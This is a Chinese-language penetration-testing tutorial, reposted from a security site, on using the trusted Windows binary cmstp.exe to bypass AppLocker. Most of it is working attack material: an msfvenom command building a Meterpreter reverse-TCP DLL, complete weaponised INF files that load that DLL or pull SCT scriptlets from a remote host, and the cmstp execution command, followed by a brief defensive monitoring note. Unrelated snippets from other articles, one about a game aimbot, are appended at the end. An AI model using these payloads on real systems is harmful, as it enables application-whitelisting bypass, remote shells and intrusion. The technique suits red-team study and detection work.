利用CMSTP绕过AppLocker并执行代码

简介:

CMSTP是与Microsoft连接管理器配置文件安装程序关联的二进制文件。它接受INF文件,这些文件可以通过恶意命令武器化,以脚本(SCT)和DLL的形式执行任意代码。它是位于以下两个Windows目录中的受信任的Microsoft二进制文件。

· C:\Windows\System32\cmstp.exe

· C:\Windows\SysWOW64\cmstp.exe

AppLocker默认规则允许在这些文件夹中执行二进制文件,因此它可以用作绕过方法。最初Oddvar Moe发现可以使用这个CMSTP文件绕过AppLocker和UAC,并在他的博客上发表他的研究成果!

DLL

Metasploit Framework可用于通过msfvenom生成恶意DLL文件。

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.0.0.2 LPORT=4444 -f dll>/root/Desktop/pentestlab.dll

利用CMSTP绕过AppLocker并执行代码

Metasploit – DLL生成

INF文件的RegisterOCXSection需要包含恶意DLL文件的本地路径或远程执行的WebDAV位置。

[version]
Signature=$chicago$
AdvancedINF=2.5
[DefaultInstall_SingleUser]
RegisterOCXs=RegisterOCXSection
[RegisterOCXSection]
C:\Users\test.PENTESTLAB\pentestlab.dll
[Strings]
AppAct = "SOFTWARE\Microsoft\Connection Manager"
ServiceName="Pentestlab"
ShortSvcName="Pentestlab"

利用CMSTP绕过AppLocker并执行代码

CMSTP – 本地DLL执行

Metasploit multi / handler模块需要配置为接收请求。

利用CMSTP绕过AppLocker并执行代码

CMSTP – Metasploit多处理程序

当恶意INF文件与cmstp一起提供时,代码将在后台执行。

cmstp.exe /s cmstp.inf

利用CMSTP绕过AppLocker并执行代码

CMSTP – INF在本地执行

Meterpreter会话将从DLL执行中打开。

利用CMSTP绕过AppLocker并执行代码

CMSTP – 通过DLL执行的Meterpreter

SCT

除了DLL文件外,cmstp还能够运行SCT文件,这些文件在红队运行期间扩展了此二进制文件的可用性。Nick Tyrer最初通过推特展示了这种能力。

Nick Tyrer还编写了一个名为powersct.sct的scriptlet ,可以将其用作执行PowerShell命令的备选解决方案,以防本机PowerShell被阻止。该UnRegisterOCXSection需要包含小脚本的URL。最终的INF文件需要包含以下内容:

[version]
Signature=$chicago$
AdvancedINF=2.5
[DefaultInstall_SingleUser]
UnRegisterOCXs=UnRegisterOCXSection
[UnRegisterOCXSection]
%11%\scrobj.dll,NI,http://10.0.0.2/tmp/powersct.sct
[Strings]
AppAct = "SOFTWARE\Microsoft\Connection Manager"
ServiceName="Pentestlab"
ShortSvcName="Pentestlab"

当INF文件将执行一个新的窗口将打开,这将允许用户执行PowerShell命令。

cmstp.exe /s cmstp.inf

利用CMSTP绕过AppLocker并执行代码

CMSTP – PowerShell

代码执行也可以通过使用scriptlet来调用恶意可执行文件。INF文件需要包含scriptlet的远程位置。

[version]
Signature=$chicago$
AdvancedINF=2.5
[DefaultInstall_SingleUser]
UnRegisterOCXs=UnRegisterOCXSection
[UnRegisterOCXSection]
%11%\scrobj.dll,NI,http://10.0.0.2/tmp/pentestlab.sct
[Strings]
AppAct = "SOFTWARE\Microsoft\Connection Manager"
ServiceName="Pentestlab"
ShortSvcName="Pentestlab"

利用CMSTP绕过AppLocker并执行代码

CMSTP – SCT执行

在执行INF文件时,将会打开一个新的命令提示符窗口,这将表示代码已成功执行。

利用CMSTP绕过AppLocker并执行代码

CMSTP – 使用Scriptlet执行INF

Meterpreter获取到shell。

利用CMSTP绕过AppLocker并执行代码

CMSTP – Meterpreter通过SCT执行

结论

CMSTP需要INF文件并在执行时生成一个CMP文件,它是连接管理器设置文件。这两个文件实际上都是文本文件,不太可能触发任何警报。因此,如果攻击者已经开始使用此技术,cmstp.exe二进制文件无法被AppLocker规则阻止,则需要对这两个文件进行监视。

利用CMSTP绕过AppLocker并执行代码

CMSTP – INF和CMP文件


原文发布时间为:2018-05-23

本文来自云栖社区合作伙伴“嘶吼网”,了解相关信息可以关注“嘶吼网”。


相关文章
|
Java 数据库 开发者
深度剖析:探寻Spring事务失效的背后
【4月更文挑战第18天】
276 0
深度剖析:探寻Spring事务失效的背后
|
Ubuntu 关系型数据库 MySQL
百度搜索:蓝易云【ubuntu系统部署dzzoffice及安装onlyoffice插件教程。】
请注意,本教程提供了基本的部署和安装步骤,并且可以根据实际需求进行定制和扩展。如果需要更深入的了解和配置,请参考DzzOffice和OnlyOffice的官方文档或其他权威资源。
1119 3
|
SQL 存储 数据可视化
Ganos矢量快显功能上手系列2:增强的MVT能力
本文主要介绍Ganos新增的2D矢量动态切片函数及其使用方法。新增的矢量动态切片函数能够大幅提升可视化效率,有效解决小比例尺MVT显示耗时久的问题。和PostGIS相比,小比例尺MVT的可视化效率提升可达60%以上。
|
数据安全/隐私保护
iSCSI挂载
iSCSI挂载
|
8月前
|
存储 人工智能 自然语言处理
15.4K Star!Vercel官方出品,零基础构建企业级AI聊天机器人
"基于Next.js 14和AI SDK打造的Chat SDK,让开发者快速构建支持多模态交互、代码执行、文件共享的智能对话系统,5分钟完成全栈部署!" —— Vercel AI Chatbot项目核心宣言
516 5
|
供应链 监控 安全
网络安全中的零信任架构:从概念到部署
网络安全中的零信任架构:从概念到部署
1054 75
|
7月前
|
网络协议 网络安全 网络架构
TCP连接的保持活跃机制详解
总的来说,TCP的保持活跃机制是网络通信中不可或缺的一部分,能够有效维持TCP连接的活跃性,提高网络性能,防止不必要的网络断开。这一点不论对于TCP协议的深度理解,还是对于网络通信的实际应用,都有着重要的现实意义。
257 17
|
Python
在 Python 中,如何将字符串中的日期格式转换为日期时间类型?
在 Python 中,如何将字符串中的日期格式转换为日期时间类型?
477 62
|
人工智能 算法 计算机视觉
我的自描外挂制作日志——FPS类游戏的自瞄【构思准备】
我的自描外挂制作日志——FPS类游戏的自瞄【构思准备】
956 0